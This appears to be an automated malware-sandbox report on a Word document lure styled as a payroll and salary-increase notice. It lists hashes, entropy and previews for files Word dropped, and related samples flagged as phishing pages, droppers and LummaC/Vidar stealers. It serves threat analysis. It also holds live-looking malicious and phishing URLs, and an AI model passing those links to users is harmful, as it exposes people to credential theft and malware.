	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	https://url.avanan.click/v2/r01/___https://www.tiktok.com/qnspdA7?fni=6cbb&qfsl=js&xhjsj=gnt_zwq&yfwljy=myyux:ddBBB.lttlqj.hfdzwq?v=frudxdkniljyAkC.sEd.frl___.YXAzOnNvdXRoZXJua2l0Y2hlbmFuZGdyaWxsOmE6bzo2MGY0ZmI3MTkzODQ4OWRiOGFlZjY2ODI4ODlkMDk3NDo3OmRlYjY6NjI5YzkxZjFmNmQ3ZjI1NWIxN2UwYTI5ZTNmZjcyMTQyNTg3NmZhMDQyOWZlMDI4MDhmODRlNWVhYWU3MjJhZDpoOlQ6VA#ZHN5aHJlQG9sZ29vbmlrLmNvbQ==	Get hash	malicious	Unknown	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	WiTqtf1aiE.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	https://s.craft.me/yB5midhwwaHUPW	Get hash	malicious	HTMLPhisher	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	https://t.dripemail3.com/c/eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJkZXRvdXIiLCJpc3MiOiJtb25vbGl0aCIsInN1YiI6ImRldG91cl9saW5rIiwiaWF0IjoxNzI4MzA1Mzk4LCJuYmYiOjE3MjgzMDUzOTgsImFjY291bnRfaWQiOiIyNzYyNjA5IiwiZGVsaXZlcnlfaWQiOiJpeHI5d3pqeGcwZnI2NGJjbGwycyIsInRva2VuIjoiaXhyOXd6anhnMGZyNjRiY2xsMnMiLCJzZW5kX2F0IjoxNzI4MzA0MzU0LCJlbWFpbF9pZCI6OTk2Mzg3MCwiZW1haWxhYmxlX3R5cGUiOiJCcm9hZGNhc3QiLCJlbWFpbGFibGVfaWQiOjM5NTM4MjUsInVybCI6Imh0dHBzOi8vZGFpbHlhbGFza2EuY29tL25ld3M_X19zPWw5bzljOTZzbG8xZjF3aGFiODZrJnV0bV9zb3VyY2U9ZHJpcCZ1dG1fbWVkaXVtPWVtYWlsJnV0bV9jYW1wYWlnbj1TcHJpbmcraGFzK3NwcnVuZyslRjAlOUYlOEMlQjEifQ.HIDfaWGNVn-TCtUT4qZNHq7EdymoLEqvVA8XxZBU8z8	Get hash	malicious	HtmlDropper	Browse	13.107.246.64 172.202.163.200 40.126.32.140
	FW_ _EXTERNAL_ Completed_ iNH9Y_Contract_and_Agreement_3509750318S REF ID_iNH9Y.msg	Get hash	malicious	HTMLPhisher	Browse	13.107.246.64 172.202.163.200 40.126.32.140

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	3.5700810731231707
Encrypted:	false
SSDEEP:	3:QaklTlAlXMLLmHlIlFLlmIK/5lTn84vlJlhlXlDHlA6l3l6Als:QFulcLk04/5p8GVz6QRq
MD5:	573220372DA4ED487441611079B623CD
SHA1:	8F9D967AC6EF34640F1F0845214FBC6994C0CB80
SHA-256:	BE84B842025E4241BFE0C9F7B8F86A322E4396D893EF87EA1E29C74F47B6A22D
SHA-512:	F19FA3583668C3AF92A9CEF7010BD6ECEC7285F9C8665F2E9528DBA606F105D9AF9B1DB0CF6E7F77EF2E395943DC0D5CB37149E773319078688979E4024F9DD7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.H.e.a.r.t.b.e.a.t.C.a.c.h.e./.>.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\Catalog\ListAll.Json

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	JSON data
Category:	dropped
Size (bytes):	521377
Entropy (8bit):	4.9084889265453135
Encrypted:	false
SSDEEP:	3072:gdTb5Sb3F2FqSrfZm+CnQsbzxZO7aYb6f5780K2:wb5q3umBnzT
MD5:	C37972CBD8748E2CA6DA205839B16444
SHA1:	9834B46ACF560146DD7EE9086DB6019FBAC13B4E
SHA-256:	D4CFBB0E8B9D3E36ECE921B9B51BD37EF1D3195A9CFA1C4586AEA200EB3434A7
SHA-512:	02B4D134F84122B6EE9A304D79745A003E71803C354FB01BAF986BD15E3BA57BA5EF167CC444ED67B9BA5964FF5922C50E2E92A8A09862059852ECD9CEF1A900
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	{"MajorVersion":4,"MinorVersion":40,"Expiration":14,"Fonts":[{"a":[4294966911],"f":"Abadi","fam":[],"sf":[{"c":[1,0],"dn":"Abadi","fs":32696,"ful":[{"lcp":983041,"lsc":"Latn","ltx":"Abadi"}],"gn":"Abadi","id":"23643452060","p":[2,11,6,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":26215680},{"c":[1,0],"dn":"Abadi Extra Light","fs":22180,"ful":[{"lcp":983042,"lsc":"Latn","ltx":"Abadi Extra Light"}],"gn":"Abadi Extra Light","id":"17656736728","p":[2,11,2,4,2,1,4,2,2,4],"sub":[],"t":"ttf","u":[2147483651,0,0,0],"v":197263,"w":13108480}]},{"a":[4294966911],"f":"ADLaM Display","fam":[],"sf":[{"c":[536870913,0],"dn":"ADLaM Display Regular","fs":140072,"ful":[{"lcp":983040,"lsc":"Latn","ltx":"ADLaM Display"}],"gn":"ADLaM Display","id":"31965479471","p":[2,1,0,0,0,0,0,0,0,0],"sub":[],"t":"ttf","u":[2147491951,1107296330,0,0],"v":131072,"w":26215680}]},{"a":[4294966911],"f":"Agency FB","fam":[],"sf":[{"c":[536870913,0],"dn":"Agency FB Bold","fs":54372,"ful":[{"lcp":9830

C:\Users\user\AppData\Local\Microsoft\FontCache\4\PreviewFont\flat_officeFontsPreview_4_40.ttf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	TrueType Font data, 10 tables, 1st "OS/2", 7 names, Microsoft, language 0x409, \251 2018 Microsoft Corporation. All Rights Reserved.msofp_4_40RegularVersion 4.40;O365
Category:	dropped
Size (bytes):	773040
Entropy (8bit):	6.55939673749297
Encrypted:	false
SSDEEP:	12288:Zn84XULLDs51UJQSOf9VvLXHyheIQ47gEFGHtAgk3+/cLQ/zhm1kjFKy6Nyjbqq+:N8XPDs5+ivOXgo1kYvyz2
MD5:	4296A064B917926682E7EED650D4A745
SHA1:	3953A6AA9100F652A6CA533C2E05895E52343718
SHA-256:	E04E41C74D6C78213BA1588BACEE64B42C0EDECE85224C474A714F39960D8083
SHA-512:	A25388DDCE58D9F06716C0F0BDF2AEFA7F68EBCA7171077533AF4A9BE99A08E3DCD8DFE1A278B7AA5DE65DA9F32501B4B0B0ECAB51F9AF0F12A3A8A75363FF2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........... OS/29....(...`cmap.s.,.......pglyf..&....\|....head2..........6hheaE.@v.......$hmtx...........@loca.U.....8...Dmaxp........... name.P+........post...<...... .........b~1_.<...........<......r......Aa...................Q....Aa....Aa.........................~...................................................3..............................MS .@.......(...Q................. ...........d...........0...J.......8.......>..........+a..#...,................................................/...K.......z...............N.........!...-...+........z.......h..%^..3...&j..+...+%..'R..+..."....................k......$A...,.......g...&...=.......X..&..............&....B..(B...............#.......j...............+...P...5...@...)..........#...)Q..................{.. ....?..'...#....N...7......<...;>.............. ]...........5......#....s.......$.......$.......^..................+...>....H.......%...7.......6.......O...V...........K......"........c...N......!...............$...&...p..

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.847099056282989
Encrypted:	false
SSDEEP:	48:uiTrlKxsxxAxl9Il8uD/VQoKw3mfqE9xrovgXud1rc:vsYl/VvKw3croY1
MD5:	FDBE9C338D345A5D91227A3E9CD946D7
SHA1:	961417EDCAB1B05FCC701DFF7B2D7A1050D9E376
SHA-256:	86B0ACF4A7E0B3B6D794533BE862D895917282E54B51C0829C158CCEE984EA07
SHA-512:	BE0948376FD68E483CCC4AF5289A297E6C9C404EBF6977EA83929B6FD56E640C1E37A0D56DA85B81075912C307ED919F47DAC09C5B5745C270F0580B77921EF5
Malicious:	false
Reputation:	low
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".C.J.1.m.u.g.S.o.z.s.S.9.x.S.Z./.Q.v.O.c.+.E.J.4.u.2.c.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.F.7.5.5.P.o.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.Z.f.O.M.0.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9020691178146083
Encrypted:	false
SSDEEP:	48:uiTrlKxJxLxl9Il8uDRUD0/gq7SlxLezO31NECWUsUAioed/vc:6YlRY0/p7WxLes1NECnAXL
MD5:	7AEDB57FD8B2CF4D97E6DC1AD8A72248
SHA1:	7D567CB9B435442028965280861CA340473E732A
SHA-256:	EDD3717AB7570F0B372AAADC90B099ED329234F1240AD68FB3A51E8BEDEBCED3
SHA-512:	7869BB7904278E3A93B12059F79FDE2772C5B7345F299F483CD20E9B2D52CEBE65F0B62AC524708202C24C99F60AB20EA9A9A795E03388EDFCB6BD750006EB9F
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.H.X.L.G.R.5.H.j.D.k.3.C.i.F.b.L.a.m.K.N.+.n.c.g.T.0.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".k.4.A.R./.M.M.3.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.Z.f.O.M.0.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	4542
Entropy (8bit):	4.000130316538046
Encrypted:	false
SSDEEP:	96:/YlBg64KfgSz0D32qQub+Xsa+zyHwIXY/FONMb:/AS69RzHi+XWyH1CFOI
MD5:	618B436885E231D21691162D6DF823A0
SHA1:	DC4BB874BABF3EF09E26D34F2A7487031D3B7EE5
SHA-256:	EDD6D40015F086A3A8C825354B1006F078D669FB530350693EF3B22FD83F6F1A
SHA-512:	FCF588EB9DC4D695E22AE373D388BBDA3F7DC2BA129FD13D5B8ACEF0FBA7AC89F255BBA9614F730EEED94DBCC0FA06A84E5BD73BA1550258ACE8DBCC8962E764
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".V.q.Y.a.6.3.X.Y.9.b.4.Y.b.C.Z.g.f.0.u.y.E.6.v.n.x.e.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".c.q.A.N.y.v.I.Y.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.o.Z.f.O.M.0.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\34A97ED9.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 128 x 128, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	19827
Entropy (8bit):	7.965776197890717
Encrypted:	false
SSDEEP:	384:TXV4cz5Vfk/EqAlopzfoNwxkmICR2Wkizeb409ZkihqL9Y1V9PQWes:nsuoxoyxXFRzes0zn1V9Pd
MD5:	3BFEFE8CD0D153434684ED1E29CC9247
SHA1:	48CAB9E9A9F8652F320ED8680718D196509AD2A7
SHA-256:	317D6028E3C6B2F96791139E8691129C2F0A25DFCCADB32CF147B324E1ECFFF0
SHA-512:	C285ECCF4DC47212EB24AA962A121CA6EE4872279DD7B99474613CDB5B2776979F68559686DD9F38A9021D4E9FEA8B8C42984F3974B5146612DE636EC11C18E7
Malicious:	false
Preview:	.PNG........IHDR.............L\......pHYs..........+....M%IDATx..}.{T...}..\.df2-.E,.z<.{<..SU..6.@...HI.....&....A...T@..)"E.+...^.Lff.o...g.@&\.{..\|..b2.........<.MS...(.......5~Ss....MK..?......5........\|..UU3...K..9..iMiS...)..&w(.....t....w...\|Ze/...q./zu...L<..Y...Q.... }F......Se....f....W.k.YYG....!...M...C.....).B.i.'.2.......p.C....t5~.5.".sDU.....s......S....8.D;...P r...+d.2~....hG.Ps.<p.....C.....@-......e.......'..J..b..-s_^..>.....U..Q..a5.N..2.....L}~.{.\|.3......P.......<.p.K...W.w...%...kp@!.G.....RM....N..e.So..=......2......@......S.$..]h..'9.....l',..'.....;...A...}../?.............,.E.]#C.O...y..:.P.2.x9.D.&..D!.q...io.<.....z....2..#....;~.`....5.7u.B.[..k.....^.`c..0....p.N)..?...9M.<.Y~.....P5.oc..7}.H..h(.2..ioDB....E)...5....0}....yZ.........j~....n..L....}...S^]u...d.9...mB.d../.....e..+.R1..k+`1.b..../...3_[......d.e..o,\|.\..{j.x..<,.@..K.....9d....Y............&+@.c.m..5....JO}9.p.Q...,..}.x.71.a...L.m..G

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\9856E706.png

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	PNG image data, 172 x 172, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	4056
Entropy (8bit):	7.757921459128685
Encrypted:	false
SSDEEP:	96:TAUwVspYkpdhSTGPuk/R/9YMYdohVPydHhIQ+xaiCH9Lc:MUwMfSTGPuy9YV0VPAH+nQ9Lc
MD5:	32D95E8353DE8AC12599B6C0811C4AFF
SHA1:	42A84FC63B3471B5B0FF189E35F79CED07DE3E73
SHA-256:	E6EF46CCB99C07802427C401C6013815DE110AAFE7CB60B73793D6C0F292764C
SHA-512:	31BD1EF72CE8EE0C2878520676AD03AF067762CFD7CD3C9E8D5615F7EDEEF8F8B3EE3A92A58E93471366955AB33EE252A2A179B780629C26CA600B055096E2A9
Malicious:	false
Preview:	.PNG........IHDR.............iS.....pHYs..........+......IDATx..]k.]U.~>../F...`D...1..^P.TDE.....5.E. . ... V. 7i.-.V.\..E.....B.......3.>..}9g...Vf.....w.yf..c..f}....$p8..N.G.$pTN.G.$pTN.G.$pTN.G.$pTN.G.$pTN.G.$pTN.G.$pTN.G.$pT-I...x=..`.`O.........7.o.......x;./...N.].....{.............>+...'0.9..m.....g...N.~........6.1_.......\..c\|.v.3.k.o....p7p....#....l.....l..........G.G........I`'...4...,.\..dnH.\|.8...pt.;....(........FI.\.\l;.5.;`.p.n.$hD...$:.....js..n%:u..Dg.p..YGt.(....a......'.!.G4.'AC.,',[..;g.>..1>..w0_.\|M.O....o`.).-w.%A...`V>.\_....\.\....\.....v.'..s.........~/.D...Y..Ot-.u!<h...`.9..O.......J..$..../0...:....$...X..........0..q....\|:....o.}.O..../..:..f1N.^........y.}....J....G...G.....>....*p..?....m`E...'H$.~.\%mv.....[.[....L... :...!D.~5..4......i.3.w.V.....M>.(...../.f1N0J...!...'A...+...>Az..W.z. ..'3...;.8.....6.s..g.....:...8....v.]q..y.@..>AG>.(..q...^.Dt\|....9...N..v.y.@....-...O0.N.....f.O..f.S...<........g2_...g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRF{6800F873-FD7E-4B0B-AE1F-111C796851C3}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	1.399851050988056
Encrypted:	false
SSDEEP:	12:rl3lTpFQ7XIgmDQgmDQCI/tm/tmCICICb77:rn0Dk
MD5:	25BE5816F2D274B36CE8E781303428F3
SHA1:	A44D21B0B7567CEA26FF0A0CBA714F62E3D1EF6D
SHA-256:	B812D9493135CB69926C894BF79DE444D6B3C0D878ADADBEEB4FED2213158FD5
SHA-512:	5D2B8D823E32BFFE43B8AE4B990447B0EA2E3DDD52075930A6EF4446E3D422BE948B92CDFCFE0FF36627D1E42D0E019BF475A704014A5FAC53F63EA62D5709B7
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{19C70F03-FE70-47B5-910A-1500A168C614}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.4975090405451472
Encrypted:	false
SSDEEP:	3:ml+lGl+l+l+l1PPP3Zllolk/lPl7lhlJvl5hzldlxpxl/b1l/pl/Ppl/Rl/n/lzz:mEMEEEbyaol9lCgKm7CzPUzgrzmzu
MD5:	6D495A2573B723B4CA208A61F2F8732D
SHA1:	EE1C1334850586B81C1200187CD7486773B90813
SHA-256:	1596D79ED362C8A3E08744F7BE6592AF546533D3B2F543DA6839616AE6ED9B25
SHA-512:	CC34287BCBCA9B7FC915629A513ACEAE258E08AC373BE9B8D76691F83F7959266ACC316C6368944BC912F485322D94158F83A89C96402EFB7448C70C2E4549C4
Malicious:	false
Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...a.l.f.o.n.s...a............................................................................................................................................................................................................................................................................................................................................................................................................................................................. ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...j.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{B8B4AF61-A9FF-47D4-BEDF-86C1E67A7B00}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2600
Entropy (8bit):	3.4855917313951426
Encrypted:	false
SSDEEP:	48:7hxyXSOShunFMkQn7jqY89FTHxYChR8RfWa:9jYnFMkQ7uFHW4Ra
MD5:	35A32866264BDF0C2E4511E91C79FB3B
SHA1:	FB6F79053B8C212D7E8100E0EE6688881F76356A
SHA-256:	8B47B07FEFF761740ABD1BEA372D6F6888DA23AE2C9A70177B72E69C3E2CE00B
SHA-512:	9436522D963F4BABEE774D7D00F58713EA2B234A07DE92CF35B8855C48843B8F8F227FA021EC8235D0D9F57450FAE35CE6F1541153BADABA4B2C72DCA0F7B5E8
Malicious:	false
Preview:	..../...P.A.Y.R.O.L.L. .S.U.M.M.A.R.Y. .&. .S.A.L.A.R.Y. .I.N.C.R.E.A.S.E.........H.e.r.e.'.s. .t.h.e. .d.o.c.u.m.e.n.t. .s.h.a.r.e.d. .w.i.t.h. .y.o.u. .f.r.o.m. .h.u.m.a.n. .r.e.s.o.u.r.c.e.s./.p.a.y.r.o.l.l. .d.e.p.a.r.t.m.e.n.t...M.e.s.s.a.g.e. .d.a.t.e.:. .O.c.t.o.b.e.r. .0.7.,. .2.0.2.4...........................................................................................................................................................................................................................................L...N...P...R....................................................................c............T..............................................................$..d......\.....7$.8$.a$..,...$..$.If......&.!v..h.#v...6:V....l...d..t.........5......'2........a....p................d........7$.8$.l........... ......*...$..$.If......l.!v..h.#v...':V....l...x..t.........5......'2........p................$..d......x.....7$.8$.a$.l........... ...............d............7$.8$.^.

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1728330776846882500_2BDFFAA9-0FB1-4E15-92C9-D310BE93E97C.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (11709), with CRLF line terminators
Category:	dropped
Size (bytes):	35606
Entropy (8bit):	5.470105564383739
Encrypted:	false
SSDEEP:	768:GxThWjYTk9A97T8riQKuoopZTp/t04aOvk1dAW2cfMzSMzOB5QFwFUx86sY:GxThWjYTh93MiQKuoopZ1/t08vk1dAWE
MD5:	16280DED8E2E211CBDC421B18B974F32
SHA1:	B16542989C334DE5FD61E54BB36516DB270E84E2
SHA-256:	BEE35261072D2F034D9F1E8C2957C5A78C2C0856A6E18CD360F565342BE2D691
SHA-512:	2CF0037A8B56C8E8739DCE307ED523EFCBEF43A27CA42F4EDBE88D9B4BD9ECB5B778055843C2E0CEBD7B2F437EDBCCEF02E0FC7C3C2EA41B25EFA994D706D6C1
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..10/07/2024 19:52:57.002.WINWORD (0xFD4).0x1808.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-10-07T19:52:57.002Z","Contract":"Office.System.Activity","Activity.CV":"qfrfK7EPFU6SydMQvpPpfA.7.1","Activity.Duration":144,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...10/07/2024 19:52:57.002.WINWORD (0xFD4).0x1808.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":24,"Time":"2024-10-07T19:52:57.002Z","Contract":"Office.System.Activity","Activity.CV":"qfrfK7EPFU6SydMQvpPpfA.7","Activity.Duration":2767,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.FailureDia

C:\Users\user\AppData\Local\Temp\TCD8861.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD8861.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
